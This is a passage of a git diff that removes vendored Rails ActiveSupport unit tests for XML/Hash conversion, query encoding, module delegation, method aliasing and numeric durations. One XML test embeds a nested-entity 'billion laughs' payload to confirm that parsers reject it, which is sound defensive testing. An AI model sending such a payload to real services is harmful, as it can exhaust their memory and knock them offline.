-    assert_equal expected_hash, Hash.from_xml(xml_string)['person']
-  end
-  
-  def test_roundtrip_to_xml_from_xml
-    hash = { 
-      :bare_string        => 'First & Last Name', 
-      :pre_escaped_string => 'First &amp; Last Name'
-    }.stringify_keys
-
-    assert_equal hash, Hash.from_xml(hash.to_xml(@xml_options))['person']
-  end
-  
-  def test_to_xml_dups_options
-    options = {:skip_instruct => true}
-    {}.to_xml(options)
-    # :builder, etc, shouldn't be added to options
-    assert_equal({:skip_instruct => true}, options)
-  end
-
-  def test_datetime_xml_type_with_utc_time
-    alert_xml = <<-XML
-      <alert>
-        <alert_at type="datetime">2008-02-10T15:30:45Z</alert_at>
-      </alert>
-    XML
-    alert_at = Hash.from_xml(alert_xml)['alert']['alert_at']
-    assert alert_at.utc?
-    assert_equal Time.utc(2008, 2, 10, 15, 30, 45), alert_at
-  end
-  
-  def test_datetime_xml_type_with_non_utc_time
-    alert_xml = <<-XML
-      <alert>
-        <alert_at type="datetime">2008-02-10T10:30:45-05:00</alert_at>
-      </alert>
-    XML
-    alert_at = Hash.from_xml(alert_xml)['alert']['alert_at']
-    assert alert_at.utc?
-    assert_equal Time.utc(2008, 2, 10, 15, 30, 45), alert_at
-  end
-  
-  def test_datetime_xml_type_with_far_future_date
-    alert_xml = <<-XML
-      <alert>
-        <alert_at type="datetime">2050-02-10T15:30:45Z</alert_at>
-      </alert>
-    XML
-    alert_at = Hash.from_xml(alert_xml)['alert']['alert_at']
-    assert alert_at.utc?
-    assert_equal 2050,  alert_at.year
-    assert_equal 2,     alert_at.month
-    assert_equal 10,    alert_at.day
-    assert_equal 15,    alert_at.hour
-    assert_equal 30,    alert_at.min
-    assert_equal 45,    alert_at.sec
-  end
-end
-
-class QueryTest < Test::Unit::TestCase
-  def test_simple_conversion
-    assert_query_equal 'a=10', :a => 10
-  end
-
-  def test_cgi_escaping
-    assert_query_equal 'a%3Ab=c+d', 'a:b' => 'c d'
-  end
-
-  def test_nil_parameter_value
-    empty = Object.new
-    def empty.to_param; nil end
-    assert_query_equal 'a=', 'a' => empty
-  end
-
-  def test_nested_conversion
-    assert_query_equal 'person%5Blogin%5D=seckar&person%5Bname%5D=Nicholas',
-      :person => {:name => 'Nicholas', :login => 'seckar'}
-  end
-
-  def test_multiple_nested
-    assert_query_equal 'account%5Bperson%5D%5Bid%5D=20&person%5Bid%5D=10',
-      :person => {:id => 10}, :account => {:person => {:id => 20}}
-  end
-
-  def test_array_values
-    assert_query_equal 'person%5Bid%5D%5B%5D=10&person%5Bid%5D%5B%5D=20',
-      :person => {:id => [10, 20]}
-  end
-
-  def test_array_values_are_not_sorted
-    assert_query_equal 'person%5Bid%5D%5B%5D=20&person%5Bid%5D%5B%5D=10',
-      :person => {:id => [20, 10]}
-  end
-
-  def test_expansion_count_is_limited
-    expected = {
-      'ActiveSupport::XmlMini_REXML'       => 'RuntimeError',
-      'ActiveSupport::XmlMini_Nokogiri'    => 'Nokogiri::XML::SyntaxError',
-      'ActiveSupport::XmlMini_NokogiriSAX' => 'RuntimeError',
-      'ActiveSupport::XmlMini_LibXML'      => 'LibXML::XML::Error',
-      'ActiveSupport::XmlMini_LibXMLSAX'   => 'LibXML::XML::Error',
-    }[ActiveSupport::XmlMini.backend.name].constantize
-
-    assert_raise expected do
-      attack_xml = <<-EOT
-      <?xml version="1.0" encoding="UTF-8"?>
-      <!DOCTYPE member [
-        <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
-        <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
-        <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
-        <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
-        <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
-        <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
-        <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
-      ]>
-      <member>
-      &a;
-      </member>
-      EOT
-      Hash.from_xml(attack_xml)
-    end
-  end
-
-  private
-    def assert_query_equal(expected, actual, message = nil)
-      assert_equal expected.split('&'), actual.to_query.split('&')
-    end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/integer_ext_test.rb b/vendor/rails/activesupport/test/core_ext/integer_ext_test.rb
deleted file mode 100644
index b7006a5c..00000000
--- a/vendor/rails/activesupport/test/core_ext/integer_ext_test.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require 'abstract_unit'
-
-class IntegerExtTest < Test::Unit::TestCase
-  def test_even
-    assert [ -2, 0, 2, 4 ].all? { |i| i.even? }
-    assert ![ -1, 1, 3 ].all? { |i| i.even? }
-
-    assert 22953686867719691230002707821868552601124472329079.odd?
-    assert !22953686867719691230002707821868552601124472329079.even?
-    assert 22953686867719691230002707821868552601124472329080.even?
-    assert !22953686867719691230002707821868552601124472329080.odd?
-  end
-
-  def test_odd
-    assert ![ -2, 0, 2, 4 ].all? { |i| i.odd? }
-    assert [ -1, 1, 3 ].all? { |i| i.odd? }
-    assert 1000000000000000000000000000000000000000000000000000000001.odd?
-  end
-
-  def test_multiple_of
-    [ -7, 0, 7, 14 ].each { |i| assert i.multiple_of?(7) }
-    [ -7, 7, 14 ].each { |i| assert ! i.multiple_of?(6) }
-    # test with a prime
-    assert !22953686867719691230002707821868552601124472329079.multiple_of?(2)
-    assert !22953686867719691230002707821868552601124472329079.multiple_of?(3)
-    assert !22953686867719691230002707821868552601124472329079.multiple_of?(5)
-    assert !22953686867719691230002707821868552601124472329079.multiple_of?(7)
-  end
-
-  def test_ordinalize
-    # These tests are mostly just to ensure that the ordinalize method exists.
-    # Its results are tested comprehensively in the inflector test cases.
-    assert_equal '1st', 1.ordinalize
-    assert_equal '8th', 8.ordinalize
-    1000000000000000000000000000000000000000000000000000000000000000000000.ordinalize
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/kernel_test.rb b/vendor/rails/activesupport/test/core_ext/kernel_test.rb
deleted file mode 100644
index e826ec16..00000000
--- a/vendor/rails/activesupport/test/core_ext/kernel_test.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-require 'abstract_unit'
-
-class KernelTest < Test::Unit::TestCase
-  def test_silence_warnings
-    silence_warnings { assert_nil $VERBOSE }
-    assert_equal 1234, silence_warnings { 1234 }
-  end
-
-  def test_silence_warnings_verbose_invariant
-    old_verbose = $VERBOSE
-    silence_warnings { raise }
-    flunk
-  rescue
-    assert_equal old_verbose, $VERBOSE
-  end
-
-
-  def test_enable_warnings
-    enable_warnings { assert_equal true, $VERBOSE }
-    assert_equal 1234, enable_warnings { 1234 }
-  end
-
-  def test_enable_warnings_verbose_invariant
-    old_verbose = $VERBOSE
-    enable_warnings { raise }
-    flunk
-  rescue
-    assert_equal old_verbose, $VERBOSE
-  end
-
-
-  def test_silence_stderr
-    old_stderr_position = STDERR.tell
-    silence_stderr { STDERR.puts 'hello world' }
-    assert_equal old_stderr_position, STDERR.tell
-  rescue Errno::ESPIPE
-    # Skip if we can't STDERR.tell
-  end
-
-  def test_silence_stderr_with_return_value
-    assert_equal 1, silence_stderr { 1 }
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/load_error_test.rb b/vendor/rails/activesupport/test/core_ext/load_error_test.rb
deleted file mode 100644
index cfa8f978..00000000
--- a/vendor/rails/activesupport/test/core_ext/load_error_test.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require 'abstract_unit'
-
-class TestMissingSourceFile < Test::Unit::TestCase
-  def test_with_require
-    assert_raise(MissingSourceFile) { require 'no_this_file_don\'t_exist' }
-  end
-  def test_with_load
-    assert_raise(MissingSourceFile) { load 'nor_does_this_one' }
-  end
-  def test_path
-    begin load 'nor/this/one.rb'
-    rescue MissingSourceFile => e
-      assert_equal 'nor/this/one.rb', e.path
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/module/attr_accessor_with_default_test.rb b/vendor/rails/activesupport/test/core_ext/module/attr_accessor_with_default_test.rb
deleted file mode 100644
index 7c59348a..00000000
--- a/vendor/rails/activesupport/test/core_ext/module/attr_accessor_with_default_test.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'abstract_unit'
-
-class AttrAccessorWithDefaultTest < Test::Unit::TestCase
-  def setup
-    @target = Class.new do
-      def helper
-        'helper'
-      end
-    end  
-    @instance = @target.new
-  end
-  
-  def test_default_arg
-    @target.attr_accessor_with_default :foo, :bar
-    assert_equal(:bar, @instance.foo)
-    @instance.foo = nil
-    assert_nil(@instance.foo)
-  end
-  
-  def test_default_proc
-    @target.attr_accessor_with_default(:foo) {helper.upcase}
-    assert_equal('HELPER', @instance.foo)
-    @instance.foo = nil
-    assert_nil(@instance.foo)
-  end
-  
-  def test_invalid_args
-    assert_raise(RuntimeError) {@target.attr_accessor_with_default :foo}
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/module/attr_internal_test.rb b/vendor/rails/activesupport/test/core_ext/module/attr_internal_test.rb
deleted file mode 100644
index 52833019..00000000
--- a/vendor/rails/activesupport/test/core_ext/module/attr_internal_test.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-require 'abstract_unit'
-
-class AttrInternalTest < Test::Unit::TestCase
-  def setup
-    @target = Class.new
-    @instance = @target.new
-  end
-
-  def test_reader
-    assert_nothing_raised { @target.attr_internal_reader :foo }
-
-    assert !@instance.instance_variable_defined?('@_foo')
-    assert_raise(NoMethodError) { @instance.foo = 1 }
-
-    @instance.instance_variable_set('@_foo', 1)
-    assert_nothing_raised { assert_equal 1, @instance.foo }
-  end
-
-  def test_writer
-    assert_nothing_raised { @target.attr_internal_writer :foo }
-
-    assert !@instance.instance_variable_defined?('@_foo')
-    assert_nothing_raised { assert_equal 1, @instance.foo = 1 }
-
-    assert_equal 1, @instance.instance_variable_get('@_foo')
-    assert_raise(NoMethodError) { @instance.foo }
-  end
-
-  def test_accessor
-    assert_nothing_raised { @target.attr_internal :foo }
-
-    assert !@instance.instance_variable_defined?('@_foo')
-    assert_nothing_raised { assert_equal 1, @instance.foo = 1 }
-
-    assert_equal 1, @instance.instance_variable_get('@_foo')
-    assert_nothing_raised { assert_equal 1, @instance.foo }
-  end
-
-  def test_naming_format
-    assert_equal '@_%s', @target.attr_internal_naming_format
-    assert_nothing_raised { @target.attr_internal_naming_format = '@abc%sdef' }
-    @target.attr_internal :foo
-
-    assert !@instance.instance_variable_defined?('@_foo')
-    assert !@instance.instance_variable_defined?('@abcfoodef')
-    assert_nothing_raised { @instance.foo = 1 }
-    assert !@instance.instance_variable_defined?('@_foo')
-    assert @instance.instance_variable_defined?('@abcfoodef')
-  ensure
-    @target.attr_internal_naming_format = '@_%s'
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/module/attribute_accessor_test.rb b/vendor/rails/activesupport/test/core_ext/module/attribute_accessor_test.rb
deleted file mode 100644
index af64a071..00000000
--- a/vendor/rails/activesupport/test/core_ext/module/attribute_accessor_test.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-require 'abstract_unit'
-
-class ModuleAttributeAccessorTest < Test::Unit::TestCase
-  def setup
-    m = @module = Module.new do
-      mattr_accessor :foo
-      mattr_accessor :bar,  :instance_writer => false
-      mattr_reader   :shaq, :instance_reader => false
-    end
-    @class = Class.new
-    @class.instance_eval { include m }
-    @object = @class.new
-  end
-
-  def test_should_use_mattr_default
-    assert_nil @module.foo
-    assert_nil @object.foo
-  end
-
-  def test_should_set_mattr_value
-    @module.foo = :test
-    assert_equal :test, @object.foo
-
-    @object.foo = :test2
-    assert_equal :test2, @module.foo
-  end
-
-  def test_should_not_create_instance_writer
-    assert @module.respond_to?(:foo)
-    assert @module.respond_to?(:foo=)
-    assert @object.respond_to?(:bar)
-    assert !@object.respond_to?(:bar=)
-  end
-
-  def test_should_not_create_instance_reader
-    assert @module.respond_to?(:shaq)
-    assert !@object.respond_to?(:shaq)
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/module/attribute_aliasing_test.rb b/vendor/rails/activesupport/test/core_ext/module/attribute_aliasing_test.rb
deleted file mode 100644
index 570ac3b8..00000000
--- a/vendor/rails/activesupport/test/core_ext/module/attribute_aliasing_test.rb
+++ /dev/null
@@ -1,58 +0,0 @@
-require 'abstract_unit'
-
-module AttributeAliasing
-  class Content
-    attr_accessor :title, :Data
-
-    def initialize
-      @title, @Data = nil, nil
-    end
-
-    def title?
-      !title.nil?
-    end
-
-    def Data?
-      !self.Data.nil?
-    end
-  end
-
-  class Email < Content
-    alias_attribute :subject, :title
-    alias_attribute :body, :Data
-  end
-end
-
-class AttributeAliasingTest < Test::Unit::TestCase
-  def test_attribute_alias
-    e = AttributeAliasing::Email.new
-
-    assert !e.subject?
-
-    e.title = "Upgrade computer"
-    assert_equal "Upgrade computer", e.subject
-    assert e.subject?
-
-    e.subject = "We got a long way to go"
-    assert_equal "We got a long way to go", e.title
-    assert e.title?
-  end
-
-  def test_aliasing_to_uppercase_attributes
-    # Although it's very un-Ruby, some people's AR-mapped tables have
-    # upper-case attributes, and when people want to alias those names
-    # to more sensible ones, everything goes *foof*.
-    e = AttributeAliasing::Email.new
-    
-    assert !e.body?
-    assert !e.Data?
-    
-    e.body = "No, really, this is not a joke."
-    assert_equal "No, really, this is not a joke.", e.Data
-    assert e.Data?
-    
-    e.Data = "Uppercased methods are teh suck"
-    assert_equal "Uppercased methods are teh suck", e.body
-    assert e.body?
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/module/model_naming_test.rb b/vendor/rails/activesupport/test/core_ext/module/model_naming_test.rb
deleted file mode 100644
index b0e46c4d..00000000
--- a/vendor/rails/activesupport/test/core_ext/module/model_naming_test.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-require 'abstract_unit'
-
-class ModelNamingTest < Test::Unit::TestCase
-  def setup
-    @model_name = ActiveSupport::ModelName.new('Post::TrackBack')
-  end
-
-  def test_singular
-    assert_equal 'post_track_back', @model_name.singular
-  end
-
-  def test_plural
-    assert_equal 'post_track_backs', @model_name.plural
-  end
-
-  def test_element
-    assert_equal 'track_back', @model_name.element
-  end
-
-  def test_collection
-    assert_equal 'post/track_backs', @model_name.collection
-  end
-
-  def test_partial_path
-    assert_equal 'post/track_backs/track_back', @model_name.partial_path
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/module/synchronization_test.rb b/vendor/rails/activesupport/test/core_ext/module/synchronization_test.rb
deleted file mode 100644
index 73430223..00000000
--- a/vendor/rails/activesupport/test/core_ext/module/synchronization_test.rb
+++ /dev/null
@@ -1,86 +0,0 @@
-require 'abstract_unit'
-require 'thread'
-
-class SynchronizationTest < Test::Unit::TestCase
-  def setup
-    @target = Class.new
-    @target.cattr_accessor :mutex, :instance_writer => false
-    @target.mutex = Mutex.new
-    @instance = @target.new
-  end
-
-  def test_synchronize_aliases_method_chain_with_synchronize
-    @target.module_eval do
-      attr_accessor :value
-      synchronize :value, :with => :mutex
-    end
-    assert @instance.respond_to?(:value_with_synchronization)
-    assert @instance.respond_to?(:value_without_synchronization)
-  end
-
-  def test_synchronize_does_not_change_behavior
-    @target.module_eval do
-      attr_accessor :value
-      synchronize :value, :with => :mutex
-    end
-    expected = "some state"
-    @instance.value = expected
-    assert_equal expected, @instance.value
-  end
-
-  def test_synchronize_with_no_mutex_raises_an_argument_error
-    assert_raise(ArgumentError) do
-      @target.synchronize :to_s
-    end
-  end
-
-  def test_double_synchronize_raises_an_argument_error
-    @target.synchronize :to_s, :with => :mutex
-    assert_raise(ArgumentError) do
-      @target.synchronize :to_s, :with => :mutex
-    end
-  end
-
-  def dummy_sync
-    dummy = Object.new
-    def dummy.synchronize
-      @sync_count ||= 0
-      @sync_count += 1
-      yield
-    end
-    def dummy.sync_count; @sync_count; end
-    dummy
-  end
-
-  def test_mutex_is_entered_during_method_call
-    @target.mutex = dummy_sync
-    @target.synchronize :to_s, :with => :mutex
-    @instance.to_s
-    @instance.to_s
-    assert_equal 2, @target.mutex.sync_count
-  end
-
-  def test_can_synchronize_method_with_punctuation
-    @target.module_eval do
-      def dangerous?
-        @dangerous
-      end
-      def dangerous!
-        @dangerous = true
-      end
-    end
-    @target.synchronize :dangerous?, :dangerous!, :with => :mutex
-    @instance.dangerous!
-    assert @instance.dangerous?
-  end
-
-  def test_can_synchronize_singleton_methods
-    @target.mutex = dummy_sync
-    class << @target
-      synchronize :to_s, :with => :mutex
-    end
-    assert @target.respond_to?(:to_s_without_synchronization)
-    assert_nothing_raised { @target.to_s; @target.to_s }
-    assert_equal 2, @target.mutex.sync_count
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/core_ext/module_test.rb b/vendor/rails/activesupport/test/core_ext/module_test.rb
deleted file mode 100644
index b8974973..00000000
--- a/vendor/rails/activesupport/test/core_ext/module_test.rb
+++ /dev/null
@@ -1,363 +0,0 @@
-require 'abstract_unit'
-
-module One
-  Constant1 = "Hello World"
-  Constant2 = "What's up?"
-end
-
-class Ab
-  include One
-  Constant1 = "Hello World" # Will have different object id than One::Constant1
-  Constant3 = "Goodbye World"
-end
-
-module Xy
-  class Bc
-    include One
-  end
-end
-
-module Yz
-  module Zy
-    class Cd
-      include One
-    end
-  end
-end
-
-class De
-end
-
-Somewhere = Struct.new(:street, :city)
-
-Someone   = Struct.new(:name, :place) do
-  delegate :street, :city, :to_f, :to => :place
-  delegate :state, :to => :@place
-  delegate :upcase, :to => "place.city"
-end
-
-Invoice   = Struct.new(:client) do
-  delegate :street, :city, :name, :to => :client, :prefix => true
-  delegate :street, :city, :name, :to => :client, :prefix => :customer
-end
-
-Project   = Struct.new(:description, :person) do
-  delegate :name, :to => :person, :allow_nil => true
-  delegate :to_f, :to => :description, :allow_nil => true
-end
-
-class Name
-  delegate :upcase, :to => :@full_name
-
-  def initialize(first, last)
-    @full_name = "#{first} #{last}"
-  end
-end
-
-$nowhere = <<-EOF
-class Name
-  delegate :nowhere
-end
-EOF
-
-$noplace = <<-EOF
-class Name
-  delegate :noplace, :tos => :hollywood
-end
-EOF
-
-class ModuleTest < Test::Unit::TestCase
-  def setup
-    @david = Someone.new("David", Somewhere.new("Paulina", "Chicago"))
-  end
-
-  def test_included_in_classes
-    assert One.included_in_classes.include?(Ab)
-    assert One.included_in_classes.include?(Xy::Bc)
-    assert One.included_in_classes.include?(Yz::Zy::Cd)
-    assert !One.included_in_classes.include?(De)
-  end
-
-  def test_delegation_to_methods
-    assert_equal "Paulina", @david.street
-    assert_equal "Chicago", @david.city
-  end
-
-  def test_delegation_down_hierarchy
-    assert_equal "CHICAGO", @david.upcase
-  end
-
-  def test_delegation_to_instance_variable
-    david = Name.new("David", "Hansson")
-    assert_equal "DAVID HANSSON", david.upcase
-  end
-
-  def test_missing_delegation_target
-    assert_raise(ArgumentError) { eval($nowhere) }
-    assert_raise(ArgumentError) { eval($noplace) }
-  end
-
-  def test_delegation_prefix
-    invoice = Invoice.new(@david)
-    assert_equal invoice.client_name, "David"
-    assert_equal invoice.client_street, "Paulina"
-    assert_equal invoice.client_city, "Chicago"
-  end
-
-  def test_delegation_custom_prefix
-    invoice = Invoice.new(@david)
-    assert_equal invoice.customer_name, "David"
-    assert_equal invoice.customer_street, "Paulina"
-    assert_equal invoice.customer_city, "Chicago"
-  end
-
-  def test_delegation_prefix_with_instance_variable
-    assert_raise ArgumentError do
-      Class.new do
-        def initialize(client)
-          @client = client
-        end
-        delegate :name, :address, :to => :@client, :prefix => true
-      end
-    end
-  end
-
-  def test_delegation_with_allow_nil
-    rails = Project.new("Rails", Someone.new("David"))
-    assert_equal rails.name, "David"
-  end
-
-  def test_delegation_with_allow_nil_and_nil_value
-    rails = Project.new("Rails")
-    assert_nil rails.name
-  end
-
-  def test_delegation_with_allow_nil_and_nil_value_and_prefix
-    Project.class_eval do
-      delegate :name, :to => :person, :allow_nil => true, :prefix => true
-    end
-    rails = Project.new("Rails")
-    assert_nil rails.person_name
-  end
-
-  def test_delegation_without_allow_nil_and_nil_value
-    david = Someone.new("David")
-    assert_raise(RuntimeError) { david.street }
-  end
-
-  def test_delegation_to_method_that_exists_on_nil
-    nil_person = Someone.new(nil)
-    assert_equal 0.0, nil_person.to_f
-  end
-
-  def test_delegation_to_method_that_exists_on_nil_when_allowing_nil
-    nil_project = Project.new(nil)
-    assert_equal 0.0, nil_project.to_f
-  end
-
-  def test_parent
-    assert_equal Yz::Zy, Yz::Zy::Cd.parent
-    assert_equal Yz, Yz::Zy.parent
-    assert_equal Object, Yz.parent
-  end
-
-  def test_parents
-    assert_equal [Yz::Zy, Yz, Object], Yz::Zy::Cd.parents
-    assert_equal [Yz, Object], Yz::Zy.parents
-  end
-
-  def test_local_constants
-    assert_equal %w(Constant1 Constant3), Ab.local_constants.sort.map(&:to_s)
-  end
-
-  def test_as_load_path
-    assert_equal 'yz/zy', Yz::Zy.as_load_path
-    assert_equal 'yz', Yz.as_load_path
-  end
-end
-
-module BarMethodAliaser
-  def self.included(foo_class)
-    foo_class.class_eval do
-      include BarMethods
-      alias_method_chain :bar, :baz
-    end
-  end
-end
-
-module BarMethods
-  def bar_with_baz
-    bar_without_baz << '_with_baz'
-  end
-
-  def quux_with_baz!
-    quux_without_baz! << '_with_baz'
-  end
-
-  def quux_with_baz?
-    false
-  end
-
-  def quux_with_baz=(v)
-    send(:quux_without_baz=, v) << '_with_baz'
-  end
-
-  def duck_with_orange
-    duck_without_orange << '_with_orange'
-  end
-end
-
-class MethodAliasingTest < Test::Unit::TestCase
-  def setup
-    Object.const_set :FooClassWithBarMethod, Class.new { def bar() 'bar' end }
-    @instance = FooClassWithBarMethod.new
-  end
-
-  def teardown
-    Object.instance_eval { remove_const :FooClassWithBarMethod }
-  end
-
-  def test_alias_method_chain
-    assert @instance.respond_to?(:bar)
-    feature_aliases = [:bar_with_baz, :bar_without_baz]
-
-    feature_aliases.each do |method|
-      assert !@instance.respond_to?(method)
-    end
-
-    assert_equal 'bar', @instance.bar
-
-    FooClassWithBarMethod.class_eval { include BarMethodAliaser }
-
-    feature_aliases.each do |method|
-      assert @instance.respond_to?(method)
-    end
-
-    assert_equal 'bar_with_baz', @instance.bar
-    assert_equal 'bar', @instance.bar_without_baz
-  end
-
-  def test_alias_method_chain_with_punctuation_method
-    FooClassWithBarMethod.class_eval do
-      def quux!; 'quux' end
-    end
-
-    assert !@instance.respond_to?(:quux_with_baz!)
-    FooClassWithBarMethod.class_eval do
-      include BarMethodAliaser
-      alias_method_chain :quux!, :baz
-    end
-    assert @instance.respond_to?(:quux_with_baz!)
-
-    assert_equal 'quux_with_baz', @instance.quux!
-    assert_equal 'quux', @instance.quux_without_baz!
-  end
-
-  def test_alias_method_chain_with_same_names_between_predicates_and_bang_methods
-    FooClassWithBarMethod.class_eval do
-      def quux!; 'quux!' end
-      def quux?; true end
-      def quux=(v); 'quux=' end
-    end
-
-    assert !@instance.respond_to?(:quux_with_baz!)
-    assert !@instance.respond_to?(:quux_with_baz?)
-    assert !@instance.respond_to?(:quux_with_baz=)
-
-    FooClassWithBarMethod.class_eval { include BarMethodAliaser }
-    assert @instance.respond_to?(:quux_with_baz!)
-    assert @instance.respond_to?(:quux_with_baz?)
-    assert @instance.respond_to?(:quux_with_baz=)
-
-
-    FooClassWithBarMethod.alias_method_chain :quux!, :baz
-    assert_equal 'quux!_with_baz', @instance.quux!
-    assert_equal 'quux!', @instance.quux_without_baz!
-
-    FooClassWithBarMethod.alias_method_chain :quux?, :baz
-    assert_equal false, @instance.quux?
-    assert_equal true,  @instance.quux_without_baz?
-
-    FooClassWithBarMethod.alias_method_chain :quux=, :baz
-    assert_equal 'quux=_with_baz', @instance.send(:quux=, 1234)
-    assert_equal 'quux=', @instance.send(:quux_without_baz=, 1234)
-  end
-
-  def test_alias_method_chain_with_feature_punctuation
-    FooClassWithBarMethod.class_eval do
-      def quux; 'quux' end
-      def quux?; 'quux?' end
-      include BarMethodAliaser
-      alias_method_chain :quux, :baz!
-    end
-
-    assert_nothing_raised do
-      assert_equal 'quux_with_baz', @instance.quux_with_baz!
-    end
-
-    assert_raise(NameError) do
-      FooClassWithBarMethod.alias_method_chain :quux?, :baz!
-    end
-  end
-
-  def test_alias_method_chain_yields_target_and_punctuation
-    args = nil
-
-    FooClassWithBarMethod.class_eval do
-      def quux?; end
-      include BarMethods
-
-      FooClassWithBarMethod.alias_method_chain :quux?, :baz do |target, punctuation|
-        args = [target, punctuation]
-      end
-    end
-
-    assert_not_nil args
-    assert_equal 'quux', args[0]
-    assert_equal '?', args[1]
-  end
-
-  def test_alias_method_chain_preserves_private_method_status
-    FooClassWithBarMethod.class_eval do
-      def duck; 'duck' end
-      include BarMethodAliaser
-      private :duck
-      alias_method_chain :duck, :orange
-    end
-
-    assert_raise NoMethodError do
-      @instance.duck
-    end
-
-    assert_equal 'duck_with_orange', @instance.instance_eval { duck }
-    assert FooClassWithBarMethod.private_method_defined?(:duck)
-  end
-
-  def test_alias_method_chain_preserves_protected_method_status
-    FooClassWithBarMethod.class_eval do
-      def duck; 'duck' end
-      include BarMethodAliaser
-      protected :duck
-      alias_method_chain :duck, :orange
-    end
-
-    assert_raise NoMethodError do
-      @instance.duck
-    end
-
-    assert_equal 'duck_with_orange', @instance.instance_eval { duck }
-    assert FooClassWithBarMethod.protected_method_defined?(:duck)
-  end
-
-  def test_alias_method_chain_preserves_public_method_status
-    FooClassWithBarMethod.class_eval do
-      def duck; 'duck' end
-      include BarMethodAliaser
-      public :duck
-      alias_method_chain :duck, :orange
-    end
-
-    assert_equal 'duck_with_orange', @instance.duck
-    assert FooClassWithBarMethod.public_method_defined?(:duck)
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/name_error_test.rb b/vendor/rails/activesupport/test/core_ext/name_error_test.rb
deleted file mode 100644
index 958c4270..00000000
--- a/vendor/rails/activesupport/test/core_ext/name_error_test.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require 'abstract_unit'
-
-class NameErrorTest < Test::Unit::TestCase
-  def test_name_error_should_set_missing_name
-    SomeNameThatNobodyWillUse____Really ? 1 : 0
-    flunk "?!?!"
-  rescue NameError => exc
-    assert_equal "NameErrorTest::SomeNameThatNobodyWillUse____Really", exc.missing_name
-    assert exc.missing_name?(:SomeNameThatNobodyWillUse____Really)
-    assert exc.missing_name?("NameErrorTest::SomeNameThatNobodyWillUse____Really")
-  end
-
-  def test_missing_method_should_ignore_missing_name
-    some_method_that_does_not_exist
-    flunk "?!?!"
-  rescue NameError => exc
-    assert !exc.missing_name?(:Foo)
-    assert_nil exc.missing_name
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/numeric_ext_test.rb b/vendor/rails/activesupport/test/core_ext/numeric_ext_test.rb
deleted file mode 100644
index 0c877cf2..00000000
--- a/vendor/rails/activesupport/test/core_ext/numeric_ext_test.rb
+++ /dev/null
@@ -1,168 +0,0 @@
-require 'abstract_unit'
-
-class NumericExtTimeAndDateTimeTest < Test::Unit::TestCase
-  def setup
-    @now = Time.local(2005,2,10,15,30,45)
-    @dtnow = DateTime.civil(2005,2,10,15,30,45)
-    @seconds = {
-      1.minute   => 60,
-      10.minutes => 600,
-      1.hour + 15.minutes => 4500,
-      2.days + 4.hours + 30.minutes => 189000,
-      5.years + 1.month + 1.fortnight => 161589600
-    }
-  end
-
-  def test_units
-    @seconds.each do |actual, expected|
-      assert_equal expected, actual
-    end
-  end
-
-  def test_intervals
-    @seconds.values.each do |seconds|
-      assert_equal seconds.since(@now), @now + seconds
-      assert_equal seconds.until(@now), @now - seconds
-    end
-  end
-
-  # Test intervals based from Time.now
-  def test_now
-    @seconds.values.each do |seconds|
-      now = Time.now
-      assert seconds.ago >= now - seconds
-      now = Time.now
-      assert seconds.from_now >= now + seconds
-    end
-  end
-  
-  def test_irregular_durations
-    assert_equal @now.advance(:days => 3000), 3000.days.since(@now)
-    assert_equal @now.advance(:months => 1), 1.month.since(@now)
-    assert_equal @now.advance(:months => -1), 1.month.until(@now)
-    assert_equal @now.advance(:years => 20), 20.years.since(@now)
-    assert_equal @dtnow.advance(:days => 3000), 3000.days.since(@dtnow)
-    assert_equal @dtnow.advance(:months => 1), 1.month.since(@dtnow)
-    assert_equal @dtnow.advance(:months => -1), 1.month.until(@dtnow)
-    assert_equal @dtnow.advance(:years => 20), 20.years.since(@dtnow)
-  end
-  
-  def test_duration_addition
-    assert_equal @now.advance(:days => 1).advance(:months => 1), (1.day + 1.month).since(@now)
-    assert_equal @now.advance(:days => 7), (1.week + 5.seconds - 5.seconds).since(@now)
-    assert_equal @now.advance(:years => 2), (4.years - 2.years).since(@now)
-    assert_equal @dtnow.advance(:days => 1).advance(:months => 1), (1.day + 1.month).since(@dtnow)
-    assert_equal @dtnow.advance(:days => 7), (1.week + 5.seconds - 5.seconds).since(@dtnow)
-    assert_equal @dtnow.advance(:years => 2), (4.years - 2.years).since(@dtnow)    
-  end
-  
-  def test_time_plus_duration
-    assert_equal @now + 8, @now + 8.seconds
-    assert_equal @now + 22.9, @now + 22.9.seconds
-    assert_equal @now.advance(:days => 15), @now + 15.days
-    assert_equal @now.advance(:months => 1), @now + 1.month
-    assert_equal @dtnow.since(8), @dtnow + 8.seconds
-    assert_equal @dtnow.since(22.9), @dtnow + 22.9.seconds
-    assert_equal @dtnow.advance(:days => 15), @dtnow + 15.days
-    assert_equal @dtnow.advance(:months => 1), @dtnow + 1.month
-  end
-  
-  def test_chaining_duration_operations
-    assert_equal @now.advance(:days => 2).advance(:months => -3), @now + 2.days - 3.months
-    assert_equal @now.advance(:days => 1).advance(:months => 2), @now + 1.day + 2.months
-    assert_equal @dtnow.advance(:days => 2).advance(:months => -3), @dtnow + 2.days - 3.months
